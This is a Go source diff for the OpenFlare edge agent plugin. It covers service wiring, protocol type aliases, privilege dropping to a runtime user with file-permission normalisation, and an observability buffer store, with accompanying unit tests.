||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
|
||||
"Wavelet/core"
|
||||
"Wavelet/openflare/plugins/agent/agent"
|
||||
"Wavelet/openflare/plugins/agent/config"
|
||||
"Wavelet/openflare/plugins/agent/geoipupdate"
|
||||
"Wavelet/openflare/plugins/agent/heartbeat"
|
||||
"Wavelet/openflare/plugins/agent/httpclient"
|
||||
"Wavelet/openflare/plugins/agent/nginx"
|
||||
"Wavelet/openflare/plugins/agent/runtimeuser"
|
||||
"Wavelet/openflare/plugins/agent/state"
|
||||
syncservice "Wavelet/openflare/plugins/agent/sync"
|
||||
"Wavelet/openflare/plugins/agent/updater"
|
||||
"Wavelet/openflare/plugins/agent/wsclient"
|
||||
"Wavelet/pkg/util"
|
||||
)
|
||||
|
||||
// DriverTypeAgent 是边缘 agent 守护进程专属的驱动类型：
|
||||
// 只有 profile 与之相等时内核才会 Start/Stop 本插件。
|
||||
const DriverTypeAgent core.DriverType = "agent"
|
||||
|
||||
// Plugin 实现 core.Plugin 与 core.Driver，承载 agent 进程的全部装配与生命周期。
|
||||
type Plugin struct {
|
||||
configPath string
|
||||
|
||||
runner *agent.Runner
|
||||
geo *geoipupdate.Updater
|
||||
done chan error
|
||||
started bool
|
||||
}
|
||||
|
||||
// New 创建 agent 插件，configPath 指向其 JSON 配置文件。
|
||||
func New(configPath string) *Plugin {
|
||||
return &Plugin{configPath: configPath, done: make(chan error, 1)}
|
||||
}
|
||||
|
||||
// Name 返回插件标识。
|
||||
func (p *Plugin) Name() string { return "agent" }
|
||||
|
||||
// Type 返回驱动类型。
|
||||
func (p *Plugin) Type() core.DriverType { return DriverTypeAgent }
|
||||
|
||||
// Apply 加载配置、确保运行环境、装配各服务并注册驱动。
|
||||
func (p *Plugin) Apply(ctx *core.Context) error {
|
||||
cfg, err := config.Load(p.configPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("load agent config: %w", err)
|
||||
}
|
||||
if err := runtimeuser.EnsureProcessUser(); err != nil {
|
||||
return fmt.Errorf("ensure runtime user: %w", err)
|
||||
}
|
||||
if err := runtimeuser.EnsurePathOwnership(
|
||||
cfg.DataDir, runtimeuser.DefaultDirPerm, runtimeuser.DefaultFilePerm,
|
||||
); err != nil {
|
||||
return fmt.Errorf("ensure data dir ownership, data_dir=%s: %w", cfg.DataDir, err)
|
||||
}
|
||||
|
||||
nginxOptions := nginx.ExecutorOptions{
|
||||
NginxPath: cfg.OpenrestyPath,
|
||||
MainConfigPath: cfg.MainConfigPath,
|
||||
RouteConfigPath: cfg.RouteConfigPath,
|
||||
CertDir: cfg.CertDir,
|
||||
NginxCertDir: cfg.OpenrestyCertDir,
|
||||
LuaDir: cfg.LuaDir,
|
||||
NginxLuaDir: cfg.OpenrestyLuaDir,
|
||||
OpenrestyObservabilityPort: cfg.OpenrestyObservabilityPort,
|
||||
}
|
||||
cfg.ExtVersion = nginx.DetectVersion(context.Background(), nginxOptions)
|
||||
logConfigLoaded(cfg)
|
||||
|
||||
runtimeManager := newRuntimeManager(cfg, nginxOptions)
|
||||
if err := runtimeManager.EnsureLuaAssets(); err != nil {
|
||||
return fmt.Errorf("ensure managed lua assets: %w", err)
|
||||
}
|
||||
|
||||
client := httpclient.New(cfg.ServerURL, cfg.InitialAuthToken(), cfg.RequestTimeout.Duration())
|
||||
wsClient := wsclient.New(cfg.ServerURL, cfg.InitialAuthToken(), cfg.RequestTimeout.Duration())
|
||||
stateStore := state.NewStore(cfg.StatePath)
|
||||
observabilityBuffer := state.NewObservabilityBufferStore(cfg.ObservabilityBufferPath)
|
||||
syncService := syncservice.New(client, runtimeManager, stateStore)
|
||||
syncService.SetPagesDir(cfg.PagesDir)
|
||||
heartbeatService := heartbeat.New(client)
|
||||
updateService := updater.New()
|
||||
|
||||
p.runner = &agent.Runner{
|
||||
Config: cfg,
|
||||
StateStore: stateStore,
|
||||
HeartbeatCycle: &heartbeat.Cycle{
|
||||
Config: cfg,
|
||||
StateStore: stateStore,
|
||||
ObservabilityBuffer: observabilityBuffer,
|
||||
Heartbeat: heartbeatService,
|
||||
Sync: syncService,
|
||||
Updater: updateService,
|
||||
},
|
||||
HeartbeatService: heartbeatService,
|
||||
SyncService: syncService,
|
||||
RuntimeManager: runtimeManager,
|
||||
WebSocketService: wsClient,
|
||||
}
|
||||
p.geo = newGeoIPUpdater(cfg)
|
||||
|
||||
return ctx.RegisterDriver(p)
|
||||
}
|
||||
|
||||
// Start 预热 GeoIP 库并拉起心跳/同步/控制通道主循环。
|
||||
//
|
||||
// runner.Run 自身阻塞至 ctx 取消，因此放到独立 goroutine 中执行，
|
||||
// 由 Stop 收敛其结果——内核要求驱动 Start 不得阻塞。
|
||||
func (p *Plugin) Start(ctx context.Context) error {
|
||||
if err := p.geo.EnsureInitialDatabases(ctx); err != nil {
|
||||
slog.Warn("failed to prepare GeoIP databases before agent startup", "error", err)
|
||||
}
|
||||
util.Go(func() { p.geo.Run(ctx) })
|
||||
|
||||
util.Go(func() { p.done <- p.runner.Run(ctx) })
|
||||
p.started = true
|
||||
slog.Info("agent process started")
|
||||
return nil
|
||||
}
|
||||
|
||||
// Stop 等待主循环退出并返回其结果；ctx 超时时报告超时而非静默成功。
|
||||
func (p *Plugin) Stop(ctx context.Context) error {
|
||||
if !p.started {
|
||||
return nil
|
||||
}
|
||||
select {
|
||||
case err := <-p.done:
|
||||
p.started = false
|
||||
if err != nil && !errors.Is(err, context.Canceled) {
|
||||
return err
|
||||
}
|
||||
slog.Info("agent process stopped")
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
p.started = false
|
||||
return fmt.Errorf("agent shutdown timeout: %w", ctx.Err())
|
||||
}
|
||||
}
|
||||
|
||||
// newGeoIPUpdater 装配国家/城市两套 mmdb 的下载与周期更新。
|
||||
func newGeoIPUpdater(cfg *config.Config) *geoipupdate.Updater {
|
||||
return &geoipupdate.Updater{
|
||||
MMDBPath: cfg.MMDBPath,
|
||||
DownloadURL: cfg.MMDBDownloadURL,
|
||||
CityMMDBPath: cfg.CityMMDBPath,
|
||||
CityDownloadURL: cfg.CityMMDBDownloadURL,
|
||||
UpdateInterval: cfg.MMDBUpdateInterval.Duration(),
|
||||
}
|
||||
}
|
||||
|
||||
// newRuntimeManager 构造 openresty 配置与证书/Lua 资产的运行时管理器。
|
||||
func newRuntimeManager(cfg *config.Config, nginxOptions nginx.ExecutorOptions) *nginx.Manager {
|
||||
return &nginx.Manager{
|
||||
MainConfigPath: cfg.MainConfigPath,
|
||||
RouteConfigPath: cfg.RouteConfigPath,
|
||||
AccessLogPath: cfg.AccessLogPath,
|
||||
CertDir: cfg.CertDir,
|
||||
NginxCertDir: cfg.OpenrestyCertDir,
|
||||
LuaDir: cfg.LuaDir,
|
||||
NginxLuaDir: cfg.OpenrestyLuaDir,
|
||||
RuntimeConfigDir: cfg.RuntimeConfigDir,
|
||||
MMDBPath: cfg.MMDBPath,
|
||||
CityMMDBPath: cfg.CityMMDBPath,
|
||||
PagesDir: cfg.PagesDir,
|
||||
OpenrestyObservabilityListen: nginx.ObservabilityListenAddress(cfg.OpenrestyObservabilityPort),
|
||||
OpenrestyObservabilityPort: cfg.OpenrestyObservabilityPort,
|
||||
OpenrestyResolverDirective: "",
|
||||
Executor: nginx.NewExecutor(nginxOptions),
|
||||
}
|
||||
}
|
||||
|
||||
func logConfigLoaded(cfg *config.Config) {
|
||||
slog.Info("agent config loaded",
|
||||
"server", cfg.ServerURL,
|
||||
"node", cfg.NodeName,
|
||||
"ip", cfg.NodeIP,
|
||||
"heartbeat_interval", cfg.HeartbeatInterval,
|
||||
"route_config", cfg.RouteConfigPath,
|
||||
"access_log", cfg.AccessLogPath,
|
||||
"cert_dir", cfg.CertDir,
|
||||
"lua_dir", cfg.LuaDir,
|
||||
"runtime_config_dir", cfg.RuntimeConfigDir,
|
||||
"mmdb_path", cfg.MMDBPath,
|
||||
"city_mmdb_path", cfg.CityMMDBPath,
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"Wavelet/core"
|
||||
"Wavelet/openflare/plugins/agent/config"
|
||||
)
|
||||
|
||||
func TestPluginIdentity(t *testing.T) {
|
||||
p := New("./agent.json")
|
||||
if got := p.Name(); got != "agent" {
|
||||
t.Errorf("Name() = %q, want %q", got, "agent")
|
||||
}
|
||||
if got := p.Type(); got != DriverTypeAgent {
|
||||
t.Errorf("Type() = %q, want %q", got, DriverTypeAgent)
|
||||
}
|
||||
// 驱动类型必须等于 profile 字符串，否则内核的 profile 过滤会漏掉本驱动。
|
||||
if got, want := string(p.Type()), string(core.Profile("agent")); got != want {
|
||||
t.Errorf("driver type %q must equal profile %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyFailsOnMissingConfig(t *testing.T) {
|
||||
ctx := core.NewContext(context.Background())
|
||||
if err := New("./does-not-exist.json").Apply(ctx); err == nil {
|
||||
t.Fatal("Apply(missing config) error = nil, want error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewGeoIPUpdaterWiresCountryAndCity(t *testing.T) {
|
||||
cfg := &config.Config{
|
||||
MMDBPath: "/data/GeoLite2-Country.mmdb",
|
||||
MMDBDownloadURL: "https://geo.example/GeoLite2-Country.mmdb",
|
||||
CityMMDBPath: "/data/GeoLite2-City.mmdb",
|
||||
CityMMDBDownloadURL: "https://geo.example/GeoLite2-City.mmdb",
|
||||
MMDBUpdateInterval: config.MillisecondDuration(time.Hour),
|
||||
}
|
||||
got := newGeoIPUpdater(cfg)
|
||||
if got.MMDBPath != cfg.MMDBPath || got.DownloadURL != cfg.MMDBDownloadURL ||
|
||||
got.CityMMDBPath != cfg.CityMMDBPath || got.CityDownloadURL != cfg.CityMMDBDownloadURL {
|
||||
t.Fatalf("GeoIP updater wiring incomplete: %#v", got)
|
||||
}
|
||||
if want := cfg.MMDBUpdateInterval.Duration(); got.UpdateInterval != want {
|
||||
t.Errorf("UpdateInterval = %v, want %v", got.UpdateInterval, want)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package protocol defines type aliases and constants for the agent protocol.
|
||||
package protocol
|
||||
|
||||
import pkgprotocol "Wavelet/openflare/share/protocol"
|
||||
|
||||
// APIResponse is an alias for pkgprotocol.APIResponse.
|
||||
type APIResponse[T any] = pkgprotocol.APIResponse[T]
|
||||
|
||||
// HeartbeatData is an alias for pkgprotocol.HeartbeatData.
|
||||
type HeartbeatData = pkgprotocol.HeartbeatData
|
||||
|
||||
// HeartbeatResult is an alias for pkgprotocol.HeartbeatResult.
|
||||
type HeartbeatResult = pkgprotocol.HeartbeatResult
|
||||
|
||||
// AgentSettings is an alias for pkgprotocol.AgentSettings.
|
||||
type AgentSettings = pkgprotocol.AgentSettings
|
||||
|
||||
// WSMessage is an alias for pkgprotocol.WSMessage.
|
||||
type WSMessage = pkgprotocol.WSMessage
|
||||
|
||||
// WSOutboundMessage is an alias for pkgprotocol.WSOutboundMessage.
|
||||
type WSOutboundMessage = pkgprotocol.WSOutboundMessage
|
||||
|
||||
// WebSocketConnection is an alias for pkgprotocol.WebSocketConnection.
|
||||
type WebSocketConnection = pkgprotocol.WebSocketConnection
|
||||
|
||||
// NodePayload is an alias for pkgprotocol.NodePayload.
|
||||
type NodePayload = pkgprotocol.NodePayload
|
||||
|
||||
// NodeSystemProfile is an alias for pkgprotocol.NodeSystemProfile.
|
||||
type NodeSystemProfile = pkgprotocol.NodeSystemProfile
|
||||
|
||||
// NodeMetricSnapshot is an alias for pkgprotocol.NodeMetricSnapshot.
|
||||
type NodeMetricSnapshot = pkgprotocol.NodeMetricSnapshot
|
||||
|
||||
// NodeEdgeHealth is an alias for pkgprotocol.NodeEdgeHealth.
|
||||
type NodeEdgeHealth = pkgprotocol.NodeEdgeHealth
|
||||
|
||||
// NodeAccessLog is an alias for pkgprotocol.NodeAccessLog.
|
||||
type NodeAccessLog = pkgprotocol.NodeAccessLog
|
||||
|
||||
// BufferedObservabilityRecord is an alias for pkgprotocol.BufferedObservabilityRecord.
|
||||
type BufferedObservabilityRecord = pkgprotocol.BufferedObservabilityRecord
|
||||
|
||||
// NodeHealthEvent is an alias for pkgprotocol.NodeHealthEvent.
|
||||
type NodeHealthEvent = pkgprotocol.NodeHealthEvent
|
||||
|
||||
// RegisterNodeResponse is an alias for pkgprotocol.RegisterNodeResponse.
|
||||
type RegisterNodeResponse = pkgprotocol.RegisterNodeResponse
|
||||
|
||||
// ApplyLogPayload is an alias for pkgprotocol.ApplyLogPayload.
|
||||
type ApplyLogPayload = pkgprotocol.ApplyLogPayload
|
||||
|
||||
// ActiveConfigResponse is an alias for pkgprotocol.ActiveConfigResponse.
|
||||
type ActiveConfigResponse = pkgprotocol.ActiveConfigResponse
|
||||
|
||||
// ActiveConfigMeta is an alias for pkgprotocol.ActiveConfigMeta.
|
||||
type ActiveConfigMeta = pkgprotocol.ActiveConfigMeta
|
||||
|
||||
// WAFIPGroup is an alias for pkgprotocol.WAFIPGroup.
|
||||
type WAFIPGroup = pkgprotocol.WAFIPGroup
|
||||
|
||||
// WAFIPGroupSyncRequest is an alias for pkgprotocol.WAFIPGroupSyncRequest.
|
||||
type WAFIPGroupSyncRequest = pkgprotocol.WAFIPGroupSyncRequest
|
||||
|
||||
// WAFIPGroupSyncResponse is an alias for pkgprotocol.WAFIPGroupSyncResponse.
|
||||
type WAFIPGroupSyncResponse = pkgprotocol.WAFIPGroupSyncResponse
|
||||
|
||||
// SupportFile is an alias for pkgprotocol.SupportFile.
|
||||
type SupportFile = pkgprotocol.SupportFile
|
||||
|
||||
// PagesDeploymentHashResponse is an alias for pkgprotocol.PagesDeploymentHashResponse.
|
||||
type PagesDeploymentHashResponse = pkgprotocol.PagesDeploymentHashResponse
|
||||
|
||||
// PagesProjectLatestHashResponse is an alias for pkgprotocol.PagesProjectLatestHashResponse.
|
||||
type PagesProjectLatestHashResponse = pkgprotocol.PagesProjectLatestHashResponse
|
||||
|
||||
const (
|
||||
// WSMessageTypeStatus is an alias for pkgprotocol.WSMessageTypeStatus.
|
||||
WSMessageTypeStatus = pkgprotocol.WSMessageTypeStatus
|
||||
// WSMessageTypeSettings is an alias for pkgprotocol.WSMessageTypeSettings.
|
||||
WSMessageTypeSettings = pkgprotocol.WSMessageTypeSettings
|
||||
// WSMessageTypeActiveConfig is an alias for pkgprotocol.WSMessageTypeActiveConfig.
|
||||
WSMessageTypeActiveConfig = pkgprotocol.WSMessageTypeActiveConfig
|
||||
// WSMessageTypeForceSyncConfig is an alias for pkgprotocol.WSMessageTypeForceSyncConfig.
|
||||
WSMessageTypeForceSyncConfig = pkgprotocol.WSMessageTypeForceSyncConfig
|
||||
// WSMessageTypeWAFIPGroups is an alias for pkgprotocol.WSMessageTypeWAFIPGroups.
|
||||
WSMessageTypeWAFIPGroups = pkgprotocol.WSMessageTypeWAFIPGroups
|
||||
// WSMessageTypePing is an alias for pkgprotocol.WSMessageTypePing.
|
||||
WSMessageTypePing = pkgprotocol.WSMessageTypePing
|
||||
// WSMessageTypePong is an alias for pkgprotocol.WSMessageTypePong.
|
||||
WSMessageTypePong = pkgprotocol.WSMessageTypePong
|
||||
)
|
||||
|
||||
const (
|
||||
// OpenrestyStatusHealthy is an alias for pkgprotocol.OpenrestyStatusHealthy.
|
||||
OpenrestyStatusHealthy = pkgprotocol.OpenrestyStatusHealthy
|
||||
// OpenrestyStatusUnhealthy is an alias for pkgprotocol.OpenrestyStatusUnhealthy.
|
||||
OpenrestyStatusUnhealthy = pkgprotocol.OpenrestyStatusUnhealthy
|
||||
// OpenrestyStatusUnknown is an alias for pkgprotocol.OpenrestyStatusUnknown.
|
||||
OpenrestyStatusUnknown = pkgprotocol.OpenrestyStatusUnknown
|
||||
)
|
||||
@@ -0,0 +1,195 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package runtimeuser defines the shared OS account used by the agent process
|
||||
// and OpenResty worker processes so file ownership stays aligned.
|
||||
package runtimeuser
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
openrestyrender "Wavelet/openflare/share/render/openresty"
|
||||
)
|
||||
|
||||
// Name is the dedicated service account shared by the agent and OpenResty workers.
|
||||
const Name = openrestyrender.OpenFlareRuntimeUser
|
||||
|
||||
const (
|
||||
// DefaultDirPerm is the normalized permission for runtime directories.
|
||||
DefaultDirPerm = 0o755
|
||||
// DefaultFilePerm is the normalized permission for runtime files.
|
||||
DefaultFilePerm = 0o644
|
||||
)
|
||||
|
||||
// Account holds the resolved UID/GID for Name on the current host.
|
||||
type Account struct {
|
||||
Name string
|
||||
UID int
|
||||
GID int
|
||||
}
|
||||
|
||||
// Lookup resolves the runtime account on the current host.
|
||||
func Lookup() (*Account, error) {
|
||||
record, err := user.Lookup(Name)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("lookup %s: %w", Name, err)
|
||||
}
|
||||
uid, err := strconv.Atoi(record.Uid)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse uid for %s: %w", Name, err)
|
||||
}
|
||||
gid, err := strconv.Atoi(record.Gid)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse gid for %s: %w", Name, err)
|
||||
}
|
||||
return &Account{Name: Name, UID: uid, GID: gid}, nil
|
||||
}
|
||||
|
||||
// CurrentEUID returns the effective UID of the current process.
|
||||
func CurrentEUID() int {
|
||||
return os.Geteuid()
|
||||
}
|
||||
|
||||
// IsRuntimeUser reports whether the current process runs as Name.
|
||||
func IsRuntimeUser() bool {
|
||||
account, err := Lookup()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return os.Geteuid() == account.UID
|
||||
}
|
||||
|
||||
// EnsureProcessUser drops from root to Name when possible so the agent writes
|
||||
// files with the same ownership OpenResty workers read.
|
||||
func EnsureProcessUser() error {
|
||||
account, err := Lookup()
|
||||
if err != nil {
|
||||
slog.Warn("runtime user unavailable, agent continues as current user", "user", Name, "euid", os.Geteuid(), "error", err)
|
||||
return nil
|
||||
}
|
||||
if os.Geteuid() == account.UID {
|
||||
slog.Info("agent running as runtime user", "user", Name, "uid", account.UID)
|
||||
return nil
|
||||
}
|
||||
if os.Geteuid() != 0 {
|
||||
slog.Warn("agent is not running as runtime user", "expected", Name, "euid", os.Geteuid())
|
||||
return nil
|
||||
}
|
||||
if dropErr := dropToImpl(account); dropErr != nil {
|
||||
return dropErr
|
||||
}
|
||||
slog.Info("agent dropped privileges to runtime user", "user", Name, "uid", account.UID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// EnsurePathOwnership makes root and its ancestors traversable, assigns runtime
|
||||
// ownership when running as root, and normalizes directory/file modes.
|
||||
func EnsurePathOwnership(root string, dirPerm os.FileMode, filePerm os.FileMode) error {
|
||||
root = filepath.Clean(strings.TrimSpace(root))
|
||||
if root == "" || root == "." {
|
||||
return nil
|
||||
}
|
||||
if err := ensureWorldTraversablePath(root); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, statErr := os.Stat(root); os.IsNotExist(statErr) {
|
||||
return nil
|
||||
}
|
||||
account, lookupErr := Lookup()
|
||||
if lookupErr != nil {
|
||||
var unknown user.UnknownUserError
|
||||
if errors.As(lookupErr, &unknown) {
|
||||
return ensureModesOnly(root, dirPerm, filePerm)
|
||||
}
|
||||
return lookupErr
|
||||
}
|
||||
return applyOwnershipAndModes(root, account, dirPerm, filePerm)
|
||||
}
|
||||
|
||||
var dropToImpl = func(account *Account) error {
|
||||
return fmt.Errorf("drop to runtime user %s is not supported on this platform", account.Name)
|
||||
}
|
||||
|
||||
func ensureWorldTraversablePath(targetDir string) error {
|
||||
const maxDepth = 12
|
||||
current := filepath.Clean(strings.TrimSpace(targetDir))
|
||||
if current == "" || current == "." {
|
||||
return nil
|
||||
}
|
||||
for range maxDepth {
|
||||
if err := os.Chmod(current, DefaultDirPerm); err != nil { //nolint:gosec // parent dirs must be traversable by the runtime user
|
||||
if os.IsNotExist(err) || os.IsPermission(err) {
|
||||
break
|
||||
}
|
||||
return fmt.Errorf("chmod %s: %w", current, err)
|
||||
}
|
||||
parent := filepath.Dir(current)
|
||||
if parent == current {
|
||||
break
|
||||
}
|
||||
current = parent
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyOwnershipAndModes(root string, account *Account, dirPerm os.FileMode, filePerm os.FileMode) error {
|
||||
return filepath.WalkDir(root, func(path string, entry os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil {
|
||||
return walkErr
|
||||
}
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if os.Geteuid() == 0 {
|
||||
if chownErr := os.Chown(path, account.UID, account.GID); chownErr != nil && !os.IsNotExist(chownErr) { //nolint:gosec // path is under managed root walk
|
||||
return fmt.Errorf("chown %s: %w", path, chownErr)
|
||||
}
|
||||
}
|
||||
if entry.IsDir() {
|
||||
if chmodErr := os.Chmod(path, dirPerm); chmodErr != nil && !os.IsNotExist(chmodErr) { //nolint:gosec // path is under managed root walk
|
||||
return fmt.Errorf("chmod dir %s: %w", path, chmodErr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if !info.Mode().IsRegular() {
|
||||
return nil
|
||||
}
|
||||
if chmodErr := os.Chmod(path, filePerm); chmodErr != nil && !os.IsNotExist(chmodErr) { //nolint:gosec // path is under managed root walk
|
||||
return fmt.Errorf("chmod file %s: %w", path, chmodErr)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
func ensureModesOnly(root string, dirPerm os.FileMode, filePerm os.FileMode) error {
|
||||
return filepath.WalkDir(root, func(path string, entry os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil {
|
||||
return walkErr
|
||||
}
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if entry.IsDir() {
|
||||
if chmodErr := os.Chmod(path, dirPerm); chmodErr != nil && !os.IsNotExist(chmodErr) { //nolint:gosec // path is under managed root walk
|
||||
return fmt.Errorf("chmod dir %s: %w", path, chmodErr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if !info.Mode().IsRegular() {
|
||||
return nil
|
||||
}
|
||||
if chmodErr := os.Chmod(path, filePerm); chmodErr != nil && !os.IsNotExist(chmodErr) { //nolint:gosec // path is under managed root walk
|
||||
return fmt.Errorf("chmod file %s: %w", path, chmodErr)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package runtimeuser
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestEnsurePathOwnershipNormalizesModes(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
dataDir := filepath.Join(tempDir, "data")
|
||||
releaseDir := filepath.Join(dataDir, "var", "lib", "openflare", "pages", "releases", "abc")
|
||||
if err := os.MkdirAll(releaseDir, 0o700); err != nil {
|
||||
t.Fatalf("MkdirAll failed: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(releaseDir, "index.html"), []byte("ok"), 0o600); err != nil {
|
||||
t.Fatalf("WriteFile failed: %v", err)
|
||||
}
|
||||
|
||||
pagesRoot := filepath.Join(dataDir, "var", "lib", "openflare", "pages")
|
||||
if err := EnsurePathOwnership(pagesRoot, 0o755, 0o644); err != nil {
|
||||
t.Fatalf("EnsurePathOwnership failed: %v", err)
|
||||
}
|
||||
|
||||
dataInfo, err := os.Stat(dataDir)
|
||||
if err != nil {
|
||||
t.Fatalf("Stat dataDir failed: %v", err)
|
||||
}
|
||||
if dataInfo.Mode().Perm()&0o005 == 0 {
|
||||
t.Fatalf("expected dataDir to be world-traversable, got %o", dataInfo.Mode().Perm())
|
||||
}
|
||||
indexInfo, err := os.Stat(filepath.Join(releaseDir, "index.html"))
|
||||
if err != nil {
|
||||
t.Fatalf("Stat index failed: %v", err)
|
||||
}
|
||||
if indexInfo.Mode().Perm() != 0o644 {
|
||||
t.Fatalf("expected mode 0644, got %o", indexInfo.Mode().Perm())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
//go:build unix
|
||||
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package runtimeuser
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func init() {
|
||||
dropToImpl = func(account *Account) error {
|
||||
if err := syscall.Setgid(account.GID); err != nil {
|
||||
return fmt.Errorf("setgid %d: %w", account.GID, err)
|
||||
}
|
||||
if err := syscall.Setuid(account.UID); err != nil {
|
||||
return fmt.Errorf("setuid %d: %w", account.UID, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,293 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package state persists agent runtime state and observability snapshots.
|
||||
package state
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log/slog"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
)
|
||||
|
||||
const observabilityBufferWindowSeconds = 60
|
||||
|
||||
// ObservabilityBufferRecord stores observability facts for a single time window.
|
||||
// Disk JSON is schema-v2 only: host_metrics / edge_health / access_logs.
|
||||
// Pre-v2 buffers are discarded on load (binary upgrade without data-dir wipe).
|
||||
type ObservabilityBufferRecord struct {
|
||||
WindowStartedAtUnix int64 `json:"window_started_at_unix"`
|
||||
HostMetrics *protocol.NodeMetricSnapshot `json:"host_metrics,omitempty"`
|
||||
EdgeHealth *protocol.NodeEdgeHealth `json:"edge_health,omitempty"`
|
||||
AccessLogs []protocol.NodeAccessLog `json:"access_logs,omitempty"`
|
||||
QueuedAtUnix int64 `json:"queued_at_unix"`
|
||||
}
|
||||
|
||||
// ObservabilityBufferStore persists observability records to disk for replay on heartbeat.
|
||||
type ObservabilityBufferStore struct {
|
||||
path string
|
||||
mu sync.Mutex
|
||||
cache []ObservabilityBufferRecord
|
||||
cacheLoaded bool
|
||||
}
|
||||
|
||||
// NewObservabilityBufferStore creates a store backed by the file at path.
|
||||
func NewObservabilityBufferStore(path string) *ObservabilityBufferStore {
|
||||
return &ObservabilityBufferStore{path: filepath.Clean(path)}
|
||||
}
|
||||
|
||||
// Upsert inserts or merges an observability record and prunes entries older than retainAfterUnix.
|
||||
func (s *ObservabilityBufferStore) Upsert(record ObservabilityBufferRecord, retainAfterUnix int64) error {
|
||||
if s == nil || record.WindowStartedAtUnix <= 0 || (record.HostMetrics == nil && record.EdgeHealth == nil && len(record.AccessLogs) == 0) {
|
||||
return nil
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
records, err := s.loadUnlocked()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
records = pruneObservabilityBufferRecords(records, retainAfterUnix)
|
||||
replaced := false
|
||||
for index := range records {
|
||||
if records[index].WindowStartedAtUnix != record.WindowStartedAtUnix {
|
||||
continue
|
||||
}
|
||||
records[index] = mergeObservabilityBufferRecord(records[index], record)
|
||||
replaced = true
|
||||
break
|
||||
}
|
||||
if !replaced {
|
||||
records = append(records, record)
|
||||
}
|
||||
sort.Slice(records, func(i int, j int) bool {
|
||||
return records[i].WindowStartedAtUnix < records[j].WindowStartedAtUnix
|
||||
})
|
||||
return s.saveUnlocked(records)
|
||||
}
|
||||
|
||||
func mergeObservabilityBufferRecord(existing ObservabilityBufferRecord, incoming ObservabilityBufferRecord) ObservabilityBufferRecord {
|
||||
merged := existing
|
||||
if incoming.HostMetrics != nil {
|
||||
merged.HostMetrics = incoming.HostMetrics
|
||||
}
|
||||
if incoming.EdgeHealth != nil {
|
||||
merged.EdgeHealth = incoming.EdgeHealth
|
||||
}
|
||||
merged.AccessLogs = mergeAccessLogs(existing.AccessLogs, incoming.AccessLogs)
|
||||
if incoming.QueuedAtUnix > 0 {
|
||||
merged.QueuedAtUnix = incoming.QueuedAtUnix
|
||||
}
|
||||
return merged
|
||||
}
|
||||
|
||||
func mergeAccessLogs(existing []protocol.NodeAccessLog, incoming []protocol.NodeAccessLog) []protocol.NodeAccessLog {
|
||||
if len(existing) == 0 && len(incoming) == 0 {
|
||||
return nil
|
||||
}
|
||||
merged := make([]protocol.NodeAccessLog, 0, len(existing)+len(incoming))
|
||||
seen := make(map[string]struct{}, len(existing)+len(incoming))
|
||||
appendIfNeeded := func(items []protocol.NodeAccessLog) {
|
||||
for _, item := range items {
|
||||
key := accessLogKey(item)
|
||||
if key == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := seen[key]; ok {
|
||||
continue
|
||||
}
|
||||
seen[key] = struct{}{}
|
||||
merged = append(merged, item)
|
||||
}
|
||||
}
|
||||
appendIfNeeded(existing)
|
||||
appendIfNeeded(incoming)
|
||||
sort.Slice(merged, func(i int, j int) bool {
|
||||
